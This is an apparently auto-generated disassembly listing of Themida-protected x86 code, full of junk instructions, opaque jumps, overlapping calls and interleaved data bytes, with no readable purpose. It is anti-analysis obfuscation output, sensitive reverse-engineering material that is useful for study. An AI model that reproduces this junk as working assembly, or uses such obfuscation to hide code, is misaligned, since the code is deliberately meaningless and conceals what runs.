; ---------------------------------------------------------------------------
		db 0D4h, 1Eh, 0D3h
		dd 5425BC19h
; ---------------------------------------------------------------------------


loc_602268:				; CODE XREF: Themida_:0060225Cj
		mov	al, 1Dh
		pusha
		mov	ecx, 7E7D49A8h
		mov	ah, 68h
		popa
		mov	bh, 0CAh
		mov	bx, dx
		jmp	loc_60228B
; ---------------------------------------------------------------------------
		db 73h,	59h, 0F5h
		dd 20E41E7Fh, 0A0122F32h
		db 62h,	0DCh, 0BBh
; ---------------------------------------------------------------------------


loc_60228B:				; CODE XREF: Themida_:00602278j
		pusha
		sbb	ebx, 735B381Dh
		mov	edi, ebx
		popa
		jmp	loc_6022A4
; ---------------------------------------------------------------------------
		dw 54AAh
		dd 4EDAB044h, 45873DAEh
; ---------------------------------------------------------------------------


loc_6022A4:				; CODE XREF: Themida_:00602295j
		mov	ecx, edi
		mov	cl, al
		mov	cx, si
		mov	edx, ebx
		pusha
		movzx	esi, bx
		mov	eax, 761D2CDDh
		popa
		add	bx, 0C70Bh
		sbb	dx, 8CCCh
		mov	bx, di
		push	edx
		mov	edi, 4F1FA165h
		pop	eax
		or	dh, 0B8h
		sbb	esi, 7C2C57F6h
		jmp	loc_6022E1
; ---------------------------------------------------------------------------
		db 19h,	0FCh, 0Ch
; ---------------------------------------------------------------------------
		retn	92ABh
; ---------------------------------------------------------------------------
		db 93h
		db 75h
; ---------------------------------------------------------------------------


loc_6022E1:				; CODE XREF: Themida_:006022D4j
		jo	loc_6022E9
		mov	ebx, eax


loc_6022E9:				; CODE XREF: Themida_:loc_6022E1j
		jnz	$+6
		sbb	ecx, 4DE895EDh
		mov	di, 1262h
		clc
		jb	loc_602303
		adc	cl, 1Ah


loc_602303:				; CODE XREF: Themida_:006022FAj
		push	edi
		pop	eax
		or	ecx, 2100F254h
		movsx	ebx, bx
		jo	loc_60232F
		call	near ptr loc_602326+4
		sub	eax, 24612F97h
		fist	dword ptr [edx+2C2414E3h]
		sbb	[edi], esp


loc_602326:				; CODE XREF: Themida_:00602314p
		les	edx, [edi-46995C84h]
		aas
		mov	dl, 5Eh


loc_60232F:				; CODE XREF: Themida_:0060230Ej
		call	sub_60233A
		or	ebx, 1D8558C7h

; =============== S U B	R O U T	I N E =======================================



sub_60233A	proc near		; CODE XREF: Themida_:loc_60232Fp
		sbb	ebx, 2BCDB2BDh
		pop	eax
		xor	ecx, 5660181Ch
		jp	loc_602353
		jns	$+6


loc_602353:				; CODE XREF: sub_60233A+Dj
		mov	cx, di
		and	ebx, 58F4C683h
		mov	bx, 83F7h
		movzx	esi, bx
		jno	loc_60236F
		xor	ebx, 72545E2Eh


loc_60236F:				; CODE XREF: sub_60233A+29j
		push	ebx
		jnz	loc_602378
		push	ebx
		pop	edi


loc_602378:				; CODE XREF: sub_60233A+36j
		pop	ebx
		call	sub_602391
		test	dword ptr [ebx+0D59DB01h], 522869C6h
		sti
		lea	edx, [ecx-4FAE265Bh]
		add	edx, ecx
sub_60233A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_602391	proc near		; CODE XREF: sub_60233A+3Fp
		push	esi
		pusha
		popa
		pop	ebx
		pop	edi
		jnz	loc_60239F
		mov	si, bx


loc_60239F:				; CODE XREF: sub_602391+5j
		movsx	eax, cx
		movsx	eax, bx
		mov	esi, 61D155B6h
		push	eax
		jmp	loc_6023B6
; ---------------------------------------------------------------------------
		sub	ch, [ecx+24h]
		and	edi, ebx
		pop	esp


loc_6023B6:				; CODE XREF: sub_602391+1Aj
		pop	esi
		jl	loc_6023C8
		pusha
		sub	cl, 0F7h
		adc	edx, 5CA46BFCh
		popa


loc_6023C8:				; CODE XREF: sub_602391+26j
		push	ebx
		adc	si, 53B4h
		pop	ecx
		jmp	loc_6023E4
; ---------------------------------------------------------------------------
		dd 51E3E5ABh, 0C3991E9Ah, 835240D8h, 462EB6F2h
; ---------------------------------------------------------------------------


loc_6023E4:				; CODE XREF: sub_602391+3Ej
		mov	ecx, 4D6C0DBCh
		jmp	loc_602401
; ---------------------------------------------------------------------------
		dw 20CFh
		dd 0ABB7E5F7h, 7760BE31h, 5DDE5354h, 0CA1999E4h
		db 83h
; ---------------------------------------------------------------------------


loc_602401:				; CODE XREF: sub_602391+58j
		jl	loc_60240D
		sub	ecx, 634B5FE7h


loc_60240D:				; CODE XREF: sub_602391:loc_602401j
		or	dx, 7029h
		movzx	esi, ax
		cmc
		adc	edi, 52AC0418h
		mov	cx, di
		jmp	loc_60242D
; ---------------------------------------------------------------------------
		dd 0BB2CE69h, 9722FA60h
; ---------------------------------------------------------------------------
		pop	edx


loc_60242D:				; CODE XREF: sub_602391+8Ej
		and	ax, 0E3ECh
		mov	edx, eax
		call	near ptr loc_60243D+1
		cmpsd
		repne mov dl, 7


loc_60243D:				; CODE XREF: sub_602391+A3p
		adc	byte ptr [eax-75h], 0F9h
sub_602391	endp ; sp-analysis failed

		pop	ebx
		pop	eax
		movzx	ebx, dx
		clc
		jl	$+6
		jno	loc_602458
		mov	edi, 796799E3h


loc_602458:				; CODE XREF: Themida_:0060244Dj
		mov	di, 28E0h
		push	edi
		mov	bl, 0Eh
		pop	esi
		mov	dh, 0D1h
		clc
		mov	ebx, 9B95123h
		jge	loc_602474
		add	edi, 3A7CFCBDh


loc_602474:				; CODE XREF: Themida_:00602468j
		push	edi
		jz	loc_60247D
		mov	edx, ecx


loc_60247D:				; CODE XREF: Themida_:00602475j
		pop	esi
		mov	eax, 4F852752h
		and	di, 7D02h
		sbb	esi, 3ED9BE5Bh
		or	di, 0EEF3h
		mov	bl, dl
		pusha
		mov	edx, ecx
		call	near ptr loc_6024A5+3
		mov	edi, 7D0BBEEh
		jo	short loc_6024C0
		outsd


loc_6024A5:				; CODE XREF: Themida_:00602498p
		xor	eax, 8E9887Bh
; ---------------------------------------------------------------------------
		dw 0
		dd 0EA17D900h, 50579785h, 0B6615AB0h, 0F0BF0FE6h, 0BF0FFCF5h
; ---------------------------------------------------------------------------


loc_6024C0:				; CODE XREF: Themida_:006024A2j
		shr	eax, 1
		or	al, 0
; ---------------------------------------------------------------------------
		dd 1B3F0000h, 6D178251h, 98A30569h, 860F4F08h, 4, 0D136B866h
		dd 0FF88B5Ah, 8A0FF2B7h, 0
; ---------------------------------------------------------------------------
		movsx	esi, si
		jnb	$+6
		push	edx
		mov	cl, ah
		pop	edx
		jnz	loc_6024FD
		mov	bl, dl


loc_6024FD:				; CODE XREF: Themida_:006024F5j
		clc
		jnz	loc_602513
		call	sub_60250F
		fdivrp	st(3), st
		or	bh, bh
		sub	dh, bh

; =============== S U B	R O U T	I N E =======================================



sub_60250F	proc near		; CODE XREF: Themida_:00602504p
		or	ah, 0DEh
		pop	esi


loc_602513:				; CODE XREF: Themida_:006024FEj
		mov	eax, 39E7BFFAh
		mov	di, 811Bh
		jmp	loc_602526
; ---------------------------------------------------------------------------
		cmp	bl, [ecx+ebx]
		ja	short loc_60256D


loc_602526:				; CODE XREF: sub_60250F+Dj
		push	edi
		add	bx, 0C606h
		pop	ebx
		mov	edi, 558AA537h
		mov	ebx, ecx
		xor	di, 0CE53h
		jmp	loc_602550
; ---------------------------------------------------------------------------
		dw 0B11h
		dd 9F0A93F9h, 971191C1h, 0DB03B003h, 1C626023h
; ---------------------------------------------------------------------------


loc_602550:				; CODE XREF: sub_60250F+2Aj
		jo	loc_602557
		stc


loc_602557:				; CODE XREF: sub_60250F:loc_602550j
		movsx	esi, si
		sub	cx, 34C1h
		mov	edx, 1C01A0ECh
		mov	edi, 10DE791Dh
		mov	di, cx
		push	ebx


loc_60256D:				; CODE XREF: sub_60250F+15j
		mov	di, bx
		pop	ebx
		xor	edx, 7DECACE2h
		jnb	loc_602583
		push	edi
		mov	ax, 1275h
		pop	ebx


loc_602583:				; CODE XREF: sub_60250F+68j
		jmp	loc_60259B
; ---------------------------------------------------------------------------
		dd 0AD3BE069h, 0BD22589Eh, 1AAA4B25h, 23DA2F8Ah
; ---------------------------------------------------------------------------
		xchg	eax, ecx
		jecxz	short loc_6025F8


loc_60259B:				; CODE XREF: sub_60250F:loc_602583j
		mov	dh, 0B4h
		push	edi
		mov	cx, 0B48Bh
		pop	edx
		jmp	loc_6025AD
; ---------------------------------------------------------------------------
		dd 0A527F096h
; ---------------------------------------------------------------------------
		lahf


loc_6025AD:				; CODE XREF: sub_60250F+94j
		mov	bl, al
		call	sub_6025C0
		dec	edi
		and	eax, 0A87921C5h
		adc	al, 6Bh
		xchg	eax, edi
		in	eax, dx
		fcmovu	st, st(1)
sub_60250F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_6025C0	proc near		; CODE XREF: sub_60250F+A0p
		mov	si, 0CD1Eh
		pop	edi
		jl	loc_6025D0
		or	dx, 1758h


loc_6025D0:				; CODE XREF: sub_6025C0+5j
		ja	loc_6025DC
		adc	edx, 1358FA3Bh


loc_6025DC:				; CODE XREF: sub_6025C0:loc_6025D0j
		sub	bh, 69h
		mov	edi, 4BAF4FEBh
		sub	dx, 9222h
		adc	edx, 76D0472h
		jmp	loc_602603
; ---------------------------------------------------------------------------
		dd 62DEDE62h
; ---------------------------------------------------------------------------


loc_6025F8:				; CODE XREF: sub_60250F+8Aj
		cli
		lodsb
		db	66h
		mov	bh, 0F2h
		and	bl, [edi]
		pop	eax
		in	eax, dx
		movsd
		insd


loc_602603:				; CODE XREF: sub_6025C0+2Fj
		push	ebx
		movzx	esi, di
		pop	eax
		call	sub_602621
		pop	ebp
		fcomi	st, st(5)
		leave
		pop	edx
		push	cs
		push	edi
		icebp
		inc	esp
		jmp	dword ptr [eax+ebx*8-63E8D495h]
sub_6025C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0B7h, 58h, 15h
; ---------------------------------------------------------------------------
		inc	edx

; =============== S U B	R O U T	I N E =======================================



sub_602621	proc near		; CODE XREF: sub_6025C0+48p
		pusha
		sub	dx, 0B16Fh
		popa
		pop	ecx
		jmp	loc_602642
; ---------------------------------------------------------------------------
		dw 56D7h
		dd 0CBD97FE6h, 0C220147Fh, 33D997F7h, 6BDA6740h
; ---------------------------------------------------------------------------
		lodsd
		dec	esi


loc_602642:				; CODE XREF: sub_602621+8j
		mov	dx, ax
		mov	ax, si
		push	ecx
		and	dl, 66h
		pop	edi
		jl	loc_602657
		pusha
		mov	bh, al
		popa


loc_602657:				; CODE XREF: sub_602621+2Cj
		push	ebx
		or	ebx, 412A780Dh
		pop	edx
		jmp	loc_602670
; ---------------------------------------------------------------------------
		imul	ebx, [edi], 8F8BE019h
		mov	esi, 0E8EF42B6h
		xchg	eax, edx


loc_602670:				; CODE XREF: sub_602621+3Ej
		call	sub_60267E
		cld
		cdq
		inc	ecx
		cmp	al, bl
		xor	edx, [edx]
		jl	short loc_6026EA
sub_602621	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60267E	proc near		; CODE XREF: sub_602621:loc_602670p
		cld
		pop	edi
		stc
		mov	bh, al
		movsx	eax, ax
		pusha
		jmp	loc_60269F
; ---------------------------------------------------------------------------
		dd 33850E78h, 2ECA724Ch, 15BC6912h, 0FE74EFDEh
; ---------------------------------------------------------------------------
		movsb
		sub	esi, esi


loc_60269F:				; CODE XREF: sub_60267E+9j
		popa
		cld
		push	ebx
		add	esi, 5F5E0E6h
		pop	eax
		mov	eax, edi
		cld
		mov	ax, bx
		pusha
		mov	ecx, ebx
		mov	di, cx
		popa
		add	ecx, 36F1D8E2h
		cld
		or	al, 3Eh
		mov	dx, 454Dh
		movzx	edx, ax
		jmp	loc_6026D2
; ---------------------------------------------------------------------------
		dd 0EE801345h
; ---------------------------------------------------------------------------
		neg	cl


loc_6026D2:				; CODE XREF: sub_60267E+49j
		cld
		mov	edx, 1746AE40h
		movsx	ebx, bx
		push	ebx
		ja	loc_6026E4
		push	ecx
		pop	edi


loc_6026E4:				; CODE XREF: sub_60267E+5Ej
		pop	edx
		jmp	loc_6026EF
; ---------------------------------------------------------------------------


loc_6026EA:				; CODE XREF: sub_602621+5Bj
		cmc
		xor	byte ptr [eax-41h], 98h


loc_6026EF:				; CODE XREF: sub_60267E+67j
		jmp	loc_602704
; ---------------------------------------------------------------------------
		dd 75C6A106h, 21A02705h, 0FC1AAC0Eh, 6FE2FC07h
; ---------------------------------------------------------------------------


loc_602704:				; CODE XREF: sub_60267E:loc_6026EFj
		movzx	edi, bx
		cld
		pusha
		mov	ax, 2F54h
		mov	di, 0F446h
		popa
		mov	dx, 53AFh
		push	eax
		movzx	edi, cx
		pop	edx
		sbb	edi, 43C59370h
		mov	ecx, edx
		jp	loc_602731
		push	edi
		jnp	$+6
		pop	edi


loc_602731:				; CODE XREF: sub_60267E+A5j
		push	esi
		stc
		pop	ecx
		mov	eax, 3DCD4BBCh
		push	eax
		call	sub_602746
		sal	byte ptr [ecx+edx*2+484ECC85h],	1
sub_60267E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_602746	proc near		; CODE XREF: sub_60267E+BCp
		js	$+6
		pop	eax
		pop	edi
		jg	loc_602768
		jbe	loc_602768
		jmp	loc_602768
; ---------------------------------------------------------------------------
		db 0FBh
		dd 65AFC47Fh, 2E251E8Eh
; ---------------------------------------------------------------------------


loc_602768:				; CODE XREF: sub_602746+8j
					; sub_602746+Ej ...
		mov	ax, 2142h
		call	sub_602779
		inc	esi
		and	ah, al
		db	2Eh
		in	al, 30h
		or	[edi], dl
sub_602746	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_602779	proc near		; CODE XREF: sub_602746+26p
		jg	loc_602781
		mov	cl, ah


loc_602781:				; CODE XREF: sub_602779j
		pop	ecx
		jl	loc_60278A
		mov	al, 0AEh


loc_60278A:				; CODE XREF: sub_602779+9j
		and	ebx, 358D6FAAh
		cld
		mov	di, ax
		and	ax, 5C6Dh
		mov	ecx, 0E7FF386h
		jg	loc_6027AA
		sbb	edx, 0E0F8B92h


loc_6027AA:				; CODE XREF: sub_602779+25j
		and	bl, 32h
		mov	bx, cx
		mov	si, ax
		sub	cx, 0B744h
		pusha
		mov	ebx, 4331B1F1h
		jb	$+6
		popa
		jnp	loc_6027D9
		pusha
		jge	$+6
		jb	$+6
		popa


loc_6027D9:				; CODE XREF: sub_602779+4Cj
		add	bh, 0B7h
		call	sub_6027F0
		mov	ecx, edi
		xor	[esi+ebx*2], ebx
		sub	dh, 60h
		inc	edi
		sub	edi, esp
		push	0FFFFFFE6h
		pop	ebx
		aaa
sub_602779	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_6027F0	proc near		; CODE XREF: sub_602779+63p
		pusha
		mov	cx, ax
		pusha
		popa
		popa
		pop	edx
		jmp	loc_602804
; ---------------------------------------------------------------------------
		db 42h,	0E3h, 44h
		dd 24C61E91h
; ---------------------------------------------------------------------------


loc_602804:				; CODE XREF: sub_6027F0+8j
		mov	eax, 69EAF930h
		movzx	ebx, di
		push	esi
		adc	ax, 0DB99h
		pop	edi
		or	si, 6E34h
		sub	ecx, 7334F31Ch
		adc	edi, 520D1F0Dh
		cmc
		movsx	edi, di
		mov	ecx, 2DD8B5E2h
		clc
		js	loc_60284B
		jmp	loc_60284B
; ---------------------------------------------------------------------------
		aas
		or	dword ptr [ecx-42E82D0Ah], 0AE039548h
		fadd	dword ptr [ebp-4Ch]
		xor	al, 4Ah
		add	dl, ah


loc_60284B:				; CODE XREF: sub_6027F0+3Ej
					; sub_6027F0+44j
		jmp	loc_60285E
; ---------------------------------------------------------------------------
		dd 0B4969CE8h, 0A9C8284Fh, 0DC7CE203h
		db 8Dh,	5Ch
; ---------------------------------------------------------------------------


loc_60285E:				; CODE XREF: sub_6027F0:loc_60284Bj
		mov	edx, 1EF660Eh
		mov	bl, 21h
		jnp	loc_60286E
		movzx	ecx, di


loc_60286E:				; CODE XREF: sub_6027F0+75j
		mov	esi, ecx
		sub	ch, 7Dh
		jnp	loc_60287C
		movzx	edx, bx


loc_60287C:				; CODE XREF: sub_6027F0+83j
		mov	ecx, edi
		sub	ax, 9A34h
		mov	ebx, 34245F6Dh
		mov	cl, 0A0h
		push	eax
		cmc
		pop	edx
		jno	loc_602898
		mov	eax, 1BCE5231h


loc_602898:				; CODE XREF: sub_6027F0+9Dj
		jmp	loc_6028AF
; ---------------------------------------------------------------------------
		jz	short loc_6028C3
		or	al, 6Ah
		pop	ebp
		cwde
		mov	dl, 0E5h
		add	al, 88h
		dec	edx
		push	ds
		leave
		cmp	eax, 19721548h


loc_6028AF:				; CODE XREF: sub_6027F0:loc_602898j
		movzx	edi, ax
		mov	edi, 1F9D4EA6h
		pusha
		push	esi
		stc
		pop	esi
		jp	$+6
		popa
		cld


loc_6028C3:				; CODE XREF: sub_6027F0+ADj
		mov	edx, edi
		sbb	ah, 0ECh
		sbb	bx, 9D9Ch
		mov	ebx, edx
		movsx	esi, cx
		cmc
		jp	loc_6028DC
		sub	dl, 88h


loc_6028DC:				; CODE XREF: sub_6027F0+E3j
		jno	loc_6028E8
		and	esi, 1304C2A5h


loc_6028E8:				; CODE XREF: sub_6027F0:loc_6028DCj
		sbb	bx, 0CE2Dh
		jmp	loc_602902
; ---------------------------------------------------------------------------
		dw 6E09h
		dd 8A1FC4EFh, 78CE0FB2h, 8663F27Eh
		db 0CFh, 18h
; ---------------------------------------------------------------------------


loc_602902:				; CODE XREF: sub_6027F0+FDj
		pusha
		add	si, 0A7CEh
		popa
		mov	ax, cx
		movzx	esi, dx
		call	near ptr loc_602921+1
		adc	[ebx-39D364EAh], bl
		sub	bh, [eax+1Ah]
		xor	[esi], ch
		cwde
		lodsd


loc_602921:				; CODE XREF: sub_6027F0+11Fp
		lea	eax, [ecx+54C10FEAh]
sub_6027F0	endp ; sp-analysis failed

		sbb	[edi-76h], bl
		rep jmp	loc_60293A
; ---------------------------------------------------------------------------
		dd 96EDDBB5h, 0CDE301FBh
		db 82h,	0BBh
; ---------------------------------------------------------------------------


loc_60293A:				; CODE XREF: Themida_:0060292Aj
		pusha
		mov	si, bx
		jnp	loc_60295B
		jmp	loc_60295B
; ---------------------------------------------------------------------------
		db 0F2h, 0, 4
		dd 3AABEAC5h, 0BE44AAB5h, 0AF50FC9Dh
		db 71h,	0C2h, 5Eh
; ---------------------------------------------------------------------------


loc_60295B:				; CODE XREF: Themida_:0060293Ej
					; Themida_:00602944j
		popa
		mov	bx, dx
		jmp	loc_60296E
; ---------------------------------------------------------------------------
		dd 0B85B71C6h, 93A0E9DCh
		db 83h,	0BDh
; ---------------------------------------------------------------------------


loc_60296E:				; CODE XREF: Themida_:0060295Fj
		jmp	loc_602979
; ---------------------------------------------------------------------------
		db 0Fh
		dd 59915907h
		db 2Bh
; ---------------------------------------------------------------------------


loc_602979:				; CODE XREF: Themida_:loc_60296Ej
		jl	loc_602981
		mov	cl, 8Dh


loc_602981:				; CODE XREF: Themida_:loc_602979j
		mov	ebx, eax
		mov	esi, 33E9838Ch
		jg	$+6
		jmp	loc_6029A2
; ---------------------------------------------------------------------------
		db 3Ch
		dd 0C05149ADh, 0E7433527h, 0C8EEFA94h
		db 0BFh, 60h
; ---------------------------------------------------------------------------


loc_6029A2:				; CODE XREF: Themida_:0060298Ej
		mov	esi, ebx
		call	sub_6029B8
		or	ecx, [eax]
		call	near ptr 7E0EB7E5h
		and	[ebp-393CA055h], dl
		mov	bh, 0D2h

; =============== S U B	R O U T	I N E =======================================



sub_6029B8	proc near		; CODE XREF: Themida_:006029A4p
		sbb	cx, 5E86h
		pop	ecx
		mov	ax, 0F7C8h
		sub	dl, 0B7h
		mov	dx, 88C4h
		jnp	loc_6029DB
		ja	loc_6029DB
		adc	eax, 125120D2h


loc_6029DB:				; CODE XREF: sub_6029B8+11j
					; sub_6029B8+17j
		mov	ebx, ecx
		jmp	loc_6029ED
; ---------------------------------------------------------------------------
		dw 0DB6Ch
		dd 0CA28B11Ah, 0AE1985CCh
; ---------------------------------------------------------------------------
		xchg	eax, esi


loc_6029ED:				; CODE XREF: sub_6029B8+25j
		sub	dl, 37h
		mov	di, bx
		add	esi, 4B083940h
		mov	si, 0B001h
		movsx	eax, di
		call	loc_602A14
		neg	edi


loc_602A07:				; CODE XREF: sub_602A68+1Bj
		lea	ebp, [ebp-4CA41D90h]
		cwde
		cmp	[ecx+41320ACCh], al
sub_6029B8	endp ; sp-analysis failed



loc_602A14:				; CODE XREF: sub_6029B8+48p
					; Themida_:00602A62j
		jmp	loc_602A2C
; ---------------------------------------------------------------------------
		db 3, 79h, 0AAh
		dd 40F03970h, 3DA402FAh, 5184AA75h, 17834D35h
; ---------------------------------------------------------------------------


loc_602A2C:				; CODE XREF: Themida_:loc_602A14j
		pop	edx
		adc	bx, 1F74h
		pusha
		and	si, 0EEC0h
		mov	ecx, 7A45E55Ah
		popa
		mov	esi, ebx
		mov	si, dx
		jmp	loc_602A51
; ---------------------------------------------------------------------------
		dd 3E89D9EDh, 0EDDDC639h
; ---------------------------------------------------------------------------
		pop	eax


loc_602A51:				; CODE XREF: Themida_:00602A43j
		mov	edi, ecx
		call	sub_602A68
		in	al, dx
		clc
		scasb
		inc	edi
		pop	ss
		fsub	dword ptr [eax]
		sub	al, 55h
		ja	short near ptr loc_602A14+3
		hlt
; ---------------------------------------------------------------------------
		db 2Dh,	2 dup(0BFh)

; =============== S U B	R O U T	I N E =======================================



sub_602A68	proc near		; CODE XREF: Themida_:00602A53p
		jz	loc_602A72
		mov	di, 9F9Dh


loc_602A72:				; CODE XREF: sub_602A68j
		pop	ebx
		jmp	loc_602A8B
; ---------------------------------------------------------------------------
		pop	ebp
		inc	esp
		pop	ebx
		lea	esi, [ecx-30h]
		mov	ebp, 0C9000D9Bh
		jg	short loc_602A07
		test	[edi], edi
		dec	ecx
		mov	bl, 86h
		lahf


loc_602A8B:				; CODE XREF: sub_602A68+Bj
		movsx	ecx, dx
		call	sub_602AA2
		sbb	[ebp-4Eh], edx
		pusha
		fld	tbyte ptr [esi+29h]
		sub	[edx], dl
		xchg	eax, ebx
		cmc
		jno	short near ptr loc_602AC6+2
		mov	dl, ch
sub_602A68	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_602AA2	proc near		; CODE XREF: sub_602A68+26p
		sbb	ecx, 3D13F799h
		pop	eax
		mov	eax, edi
		jmp	loc_602ABB
; ---------------------------------------------------------------------------
		dd 0A58CE38Ah, 99A10396h
		db 0FCh, 2 dup(8Ch)
; ---------------------------------------------------------------------------


loc_602ABB:				; CODE XREF: sub_602AA2+9j
		and	edx, 6BCC1BF5h
		or	cx, 62BCh


loc_602AC6:				; CODE XREF: sub_602A68+36j
		jnb	loc_602AD8
		jnz	loc_602AD8
		sbb	edi, 5EAE4746h


loc_602AD8:				; CODE XREF: sub_602AA2:loc_602AC6j
					; sub_602AA2+2Aj
		jnp	loc_602AE1
		movsx	edi, dx


loc_602AE1:				; CODE XREF: sub_602AA2:loc_602AD8j
		call	near ptr loc_602AEF+4
		movsd
		fisub	dword ptr [ecx+2D3CFA52h]
		pop	ss
		push	ds


loc_602AEF:				; CODE XREF: sub_602AA2:loc_602AE1p
		mov	word ptr [esi+666041A4h], ss
sub_602AA2	endp ; sp-analysis failed

		mov	edx, ebx
		mov	cx, bx
		popa
		pop	ebx
		mov	cl, 29h
		mov	si, 0F1BEh
		movzx	ebx, bx
		mov	dh, 2Fh
		sbb	esi, 5E67B5C8h
		push	ecx
		jmp	loc_602B24
; ---------------------------------------------------------------------------
		db 51h
		dd 0A0298CDh, 0D2AD27E8h, 7E00AC7Ch, 473B42CAh
; ---------------------------------------------------------------------------


loc_602B24:				; CODE XREF: Themida_:00602B0Ej
		pop	ebx
		jmp	loc_602B3C
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0F3h
		dd 668192E1h, 0C7CA2532h, 8F561EE1h, 0EF0D78D3h
; ---------------------------------------------------------------------------


loc_602B3C:				; CODE XREF: Themida_:00602B25j
		mov	ax, 8556h
		and	di, 0A748h
		mov	esi, 0D45AA39h
		mov	edx, ebx
		or	di, 3435h
		push	edx
		add	esi, 6FF34E34h
		pop	edi
		mov	ax, 0B584h
		clc
		movsx	ebx, si
		push	ebx
		mov	esi, 13A39F58h
		pop	ecx
		or	edi, 39BC6A96h
		jl	$+6
		jno	loc_602B99
		call	sub_602B92
		mov	edx, 594F4BC8h
		dec	ecx
		inc	ebp
		stosd
		das
		mov	ch, 0Dh
		jmp	far ptr	0EF67h:3BA2E123h
; ---------------------------------------------------------------------------
		db 0C7h

; =============== S U B	R O U T	I N E =======================================



sub_602B92	proc near		; CODE XREF: Themida_:00602B7Ap
		jo	$+6
		pop	ebx


loc_602B99:				; CODE XREF: Themida_:00602B74j
		adc	dh, 7Dh
		sub	cl, 0F1h
		movsx	ebx, di
		call	sub_602BB0
		mov	ds:3FA352A0h, al
		inc	edi
		outsb
		ffree	st(5)
sub_602B92	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_602BB0	proc near		; CODE XREF: sub_602B92+10p
		pusha
		and	edx, 502AB9CFh
		mov	edx, edi
		popa
		pop	esi
		jmp	loc_602BCF
; ---------------------------------------------------------------------------
		dd 0E2C026D4h, 0C1196ECBh, 0E195B64Bh
; ---------------------------------------------------------------------------
		sbb	al, 2Eh
		int	3		; Trap to Debugger


loc_602BCF:				; CODE XREF: sub_602BB0+Bj
		mov	cl, bl
		sbb	edx, 494780AEh
		pusha
		cmc
		mov	si, 0D10h
		popa
		jmp	loc_602BF5
; ---------------------------------------------------------------------------
		db 22h
		dd 50BE2170h, 0E8C3E951h, 0C0451C26h, 4385DE0Bh
		db 0B7h
; ---------------------------------------------------------------------------


loc_602BF5:				; CODE XREF: sub_602BB0+2Ej
		mov	cx, 8980h
		movzx	eax, bx
		jnp	loc_602C0C
		jno	loc_602C0C
		mov	cx, 4B6Ch


loc_602C0C:				; CODE XREF: sub_602BB0+4Cj
					; sub_602BB0+52j
		add	si, 0D2D5h
		call	near ptr loc_602C1E+3
		xchg	eax, esi
		scasb
		xchg	eax, ebp
		mov	[edx-48h], eax
		pop	ebp
		out	dx, al


loc_602C1E:				; CODE XREF: sub_602BB0+61p
		test	eax, 0BE6611F9h
sub_602BB0	endp ; sp-analysis failed

		inc	ebp
		cwde
		pop	ecx
		jns	loc_602C2E
		mov	edx, eax


loc_602C2E:				; CODE XREF: Themida_:00602C26j
		mov	ax, 8823h
		mov	edi, 47ACB91Bh
		jle	loc_602C45
		push	ecx
		adc	esi, 1450ED0Ch
		pop	ebx


loc_602C45:				; CODE XREF: Themida_:00602C37j
		jmp	loc_602C5D
; ---------------------------------------------------------------------------
		dw 29BDh
		dd 0DD0CCD9Dh, 0EAB3E6Bh, 68503F56h, 5DD4675Ah
		db 0D2h
; ---------------------------------------------------------------------------


loc_602C5D:				; CODE XREF: Themida_:loc_602C45j
		mov	ah, 40h
		pusha
		jno	loc_602C69
		mov	ax, cx


loc_602C69:				; CODE XREF: Themida_:00602C60j
		jmp	loc_602C82
; ---------------------------------------------------------------------------
		dw 4C8Bh
		dd 3F942A4Ah, 0EF70D08Eh, 458E1A76h, 0C5B652Ah
; ---------------------------------------------------------------------------
		xchg	eax, ebx
		dec	edi


loc_602C82:				; CODE XREF: Themida_:loc_602C69j
		popa
		or	edx, 5B909A1Ah
		pusha
		jno	loc_602C93
		mov	cx, si


loc_602C93:				; CODE XREF: Themida_:00602C8Aj
		movzx	ebx, cx
		popa
		adc	edx, 5BA7677Bh
		jnb	loc_602CAB
		push	ecx
		jnp	$+6
		pop	eax


loc_602CAB:				; CODE XREF: Themida_:00602C9Dj
		pusha
		mov	ecx, 10CA8A67h
		jmp	loc_602CC5
; ---------------------------------------------------------------------------
		dw 9C29h
		dd 77E13E01h, 7DD2949Fh, 3202B0FCh
; ---------------------------------------------------------------------------
		dec	ecx


loc_602CC5:				; CODE XREF: Themida_:00602CB1j
		popa
		cld
		jbe	loc_602CD2
		mov	ecx, 3A921667h


loc_602CD2:				; CODE XREF: Themida_:00602CC7j
		or	ecx, 1520F2DEh
		jmp	loc_602CE9
; ---------------------------------------------------------------------------
		db 66h,	58h, 5Ah
		dd 0B8B9E937h, 257BF01Ah
		db 79h
; ---------------------------------------------------------------------------


loc_602CE9:				; CODE XREF: Themida_:00602CD8j
		jmp	loc_602CFA
; ---------------------------------------------------------------------------
		dw 0B651h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 4Fh,	0C1h, 21h
		dd 22632EDDh
		db 26h,	76h
; ---------------------------------------------------------------------------


loc_602CFA:				; CODE XREF: Themida_:loc_602CE9j
		mov	ah, 0D1h
		mov	ebx, 78BCD2A6h
		pusha
		jnb	loc_602D0E
		jge	$+6


loc_602D0E:				; CODE XREF: Themida_:00602D02j
		pusha
		xor	eax, 2F635311h
		pusha
		popa
		popa
		popa
		mov	bx, 0B87Ch
		mov	ah, 69h
		stc
		movzx	esi, cx
		movsx	ecx, dx
		sbb	bx, 0A364h
		clc
		xor	bx, 0E94Bh
		mov	edx, 94EA8AAh
		clc
		mov	ah, 86h
		jmp	loc_602D4F
; ---------------------------------------------------------------------------
		dw 0D84Eh
		dd 7E9FC165h, 30A294EFh, 0E091CE86h
; ---------------------------------------------------------------------------
		xchg	eax, ebx
		retn
; ---------------------------------------------------------------------------
		db 1Ah
; ---------------------------------------------------------------------------


loc_602D4F:				; CODE XREF: Themida_:00602D39j
		jmp	loc_602D59
; ---------------------------------------------------------------------------
		dd 0B65A61CDh
		db 0C6h
; ---------------------------------------------------------------------------


loc_602D59:				; CODE XREF: Themida_:loc_602D4Fj
		push	ebx
		cld
		pop	ebx
		push	edi
		pop	ebx
		mov	ecx, 2B93F158h
		call	sub_602D72
		cmp	al, 36h
		icebp
